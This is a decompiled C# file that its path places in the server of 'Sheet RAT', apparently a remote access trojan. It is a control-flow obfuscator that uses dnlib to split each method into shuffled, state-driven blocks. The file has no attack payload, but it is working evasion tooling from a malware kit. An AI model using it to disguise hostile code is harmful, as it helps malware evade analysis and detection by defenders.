sheet-rat/Server/MindLated/Protection/CtrlFlow/ControlFlowObfuscation.cs

// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.CtrlFlow.ControlFlowObfuscation
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe

using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Renamer;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;

//#nullable disable
namespace MindLated.Protection.CtrlFlow {

internal class ControlFlowObfuscation
{
  public static Random rnd = new Random();

  public static void Execute(ModuleDefMD md)
  {
    foreach (TypeDef type in (IEnumerable<TypeDef>) md.Types)
    {
      if (type != md.GlobalType)
      {
        foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
        {
          if (!method.Name.StartsWith("get_") && !method.Name.StartsWith("set_") && method.HasBody && !method.IsConstructor)
          {
            method.Body.SimplifyBranches();
            ControlFlowObfuscation.ExecuteMethod(method);
          }
        }
      }
    }
  }

  public static Instruction StLoc(Local local)
  {
    switch (local.Index)
    {
      case 0:
        return Instruction.Create(OpCodes.Stloc_0);
      case 1:
        return Instruction.Create(OpCodes.Stloc_1);
      case 2:
        return Instruction.Create(OpCodes.Stloc_2);
      case 3:
        return Instruction.Create(OpCodes.Stloc_3);
      default:
        return Instruction.Create(OpCodes.Stloc, local);
    }
  }

  public static Instruction Ldloc(Local local)
  {
    switch (local.Index)
    {
      case 0:
        return Instruction.Create(OpCodes.Ldloc_0);
      case 1:
        return Instruction.Create(OpCodes.Ldloc_1);
      case 2:
        return Instruction.Create(OpCodes.Ldloc_2);
      case 3:
        return Instruction.Create(OpCodes.Ldloc_3);
      default:
        return Instruction.Create(OpCodes.Ldloc, local);
    }
  }

  public static TypeSig RandomSig(MethodDef method)
  {
    switch (ControlFlowObfuscation.rnd.Next(0, 3))
    {
      case 0:
        return (TypeSig) method.Module.CorLibTypes.Int32;
      case 1:
        return (TypeSig) method.Module.CorLibTypes.Int64;
      case 2:
        return (TypeSig) method.Module.CorLibTypes.Double;
      default:
        return (TypeSig) method.Module.CorLibTypes.Int32;
    }
  }

  public static void ExecuteMethod(MethodDef method)
  {
    method.Body.SimplifyMacros((IList<Parameter>) method.Parameters);
    List<Block> blocks = BlockParser.ParseMethod(method);
    int num1 = ControlFlowObfuscation.rnd.Next(1, 10);
    int num2 = 0;
    foreach (Block block in blocks)
    {
      block.SubRand = num1;
      num1 = ControlFlowObfuscation.rnd.Next(num1 + 1, num1 + 10);
      block.PlusRand = num1;
      if (blocks.Count - 2 == block.Number)
        num2 = num1;
    }
    blocks = ControlFlowObfuscation.Randomize(blocks);
    method.Body.Instructions.Clear();
    Local local = new Local(ControlFlowObfuscation.RandomSig(method));
    method.Body.Variables.Add(local);
    local.Name = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
    Instruction target1 = Instruction.Create(OpCodes.Nop);
    Instruction target2 = Instruction.Create(OpCodes.Br, target1);
    int num3 = ControlFlowObfuscation.rnd.Next(0, 10000);
    foreach (Instruction instruction in ControlFlowObfuscation.Calc(num3, local.Type))
      method.Body.Instructions.Add(instruction);
    method.Body.Instructions.Add(ControlFlowObfuscation.StLoc(local));
    method.Body.Instructions.Add(Instruction.Create(OpCodes.Br, target2));
    method.Body.Instructions.Add(target1);
    foreach (Block block in blocks.Where<Block>((Func<Block, bool>) (block => block != blocks.Single<Block>((Func<Block, bool>) (x => x.Number == blocks.Count - 1)))))
    {
      method.Body.Instructions.Add(ControlFlowObfuscation.Ldloc(local));
      if (block.Number == 0)
      {
        foreach (Instruction instruction in ControlFlowObfuscation.Calc(num3, local.Type))
          method.Body.Instructions.Add(instruction);
      }
      else
      {
        foreach (Instruction instruction in ControlFlowObfuscation.Calc(block.SubRand + num3, local.Type))
          method.Body.Instructions.Add(instruction);
      }
      method.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
      Instruction target3 = Instruction.Create(OpCodes.Nop);
      method.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse, target3));
      foreach (Instruction instruction in block.Instructions)
        method.Body.Instructions.Add(instruction);
      foreach (Instruction instruction in ControlFlowObfuscation.Calc(block.PlusRand + num3, local.Type))
        method.Body.Instructions.Add(instruction);
      method.Body.Instructions.Add(ControlFlowObfuscation.StLoc(local));
      method.Body.Instructions.Add(target3);
    }
    method.Body.Instructions.Add(ControlFlowObfuscation.Ldloc(local));
    foreach (Instruction instruction in ControlFlowObfuscation.Calc(num2 + num3, local.Type))
      method.Body.Instructions.Add(instruction);
    method.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
    method.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse, target2));
    method.Body.Instructions.Add(Instruction.Create(OpCodes.Br, blocks.Single<Block>((Func<Block, bool>) (x => x.Number == blocks.Count - 1)).Instructions[0]));
    method.Body.Instructions.Add(target2);
    foreach (Instruction instruction in blocks.Single<Block>((Func<Block, bool>) (x => x.Number == blocks.Count - 1)).Instructions)
      method.Body.Instructions.Add(instruction);
    method.Body.InitLocals = true;
  }

  public static List<Block> Randomize(List<Block> input)
  {
    List<Block> blockList = new List<Block>();
    foreach (Block block in input)
      blockList.Insert(ControlFlowObfuscation.rnd.Next(0, blockList.Count), block);
    return blockList;
  }

  public static List<Instruction> Calc(int value, TypeSig sig)
  {
    List<Instruction> instructionList;
    if (sig == sig.Module.CorLibTypes.Double)
      instructionList = new List<Instruction>()
      {
        Instruction.Create(OpCodes.Ldc_R8, (double) value)
      };
    else
      instructionList = new List<Instruction>()
      {
        Instruction.Create(OpCodes.Ldc_I4, value)
      };
    return instructionList;
  }

  public void AddJump(IList<Instruction> instrs, Instruction target)
  {
    instrs.Add(Instruction.Create(OpCodes.Br, target));
  }
}
}